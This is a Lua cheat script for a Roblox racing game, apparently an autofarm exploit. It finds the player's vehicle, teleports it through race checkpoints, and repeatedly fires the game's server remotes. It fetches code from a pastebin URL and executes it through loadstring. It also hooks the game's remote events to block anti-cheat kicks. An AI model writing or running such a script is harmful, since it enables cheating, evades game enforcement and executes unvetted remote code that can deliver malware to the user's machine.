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- local waitTime = 3
- local found = false
- local go = true
- function findVehicle()
- while not found do
- local vehicles = Workspace.Vehicles:getChildren()
- for i=1,#vehicles do
- if vehicles[i]:findFirstChild'owner' then
- if vehicles[i].owner.Value == game:GetService'Players'.LocalPlayer.Name then
- found = true
- vehicle = vehicles[i]
- elseif vehicles[i + 1] == nil and not found then
- end
- end
- end
- wait(1)
- end
- wait(2)
- vehicle.PrimaryPart = vehicle.Chassis.VehicleSeat
- end
- local c = 10
- game.RunService.Heartbeat:Connect(function()
- local A_1 = 14
- local Event = game:GetService("ReplicatedStorage")["Game Modes V2"].Shared.Remotes.RemoteEvents.Invite
- Event:FireServer(A_1)
- local A_1 = 14
- local Event = game:GetService("ReplicatedStorage")["Game Modes V2"].Shared.Remotes.RemoteFunctions["join_mode"]
- Event:InvokeServer(A_1)
- local A_1 = 14
- local Event = game:GetService("ReplicatedStorage")["Game Modes V2"].Shared.Remotes.RemoteEvents.Invite
- Event:FireServer(A_1)
- end)
- local racing = false
- function farm()
- coroutine.wrap(function()
- while true do
- wait()
- game:GetService'VirtualUser':SetKeyUp("w")
- game:GetService'VirtualUser':SetKeyDown("w")
- for i = 1,20 do
- pcall(function()
- vehicle:SetPrimaryPartCFrame(workspace.Camera["Checkpoint_"..i].CFrame)
- game:GetService'VirtualUser':SetKeyUp("w")
- game:GetService'VirtualUser':SetKeyDown("w")
- wait()
- end)
- end
- end
- end)()
- end
- findVehicle()
- if not getgenv().MTAPIMutex then loadstring(game:HttpGet("https://pastebin.com/raw/UwFCVrhS", true))() end
- local doom
- for i,v in pairs(game.ReplicatedStorage.Playerdata:GetChildren()) do
- if v:IsA("RemoteEvent") and v.Name ~= "send_msg" and v.Name ~= "mobile" and v.Name ~= "bustdownthotiana" then
- v:AddCallHook("FireServer", function(o, ...)
- print'Nice try kicking me!'
- end)
- end
- end
- farm()
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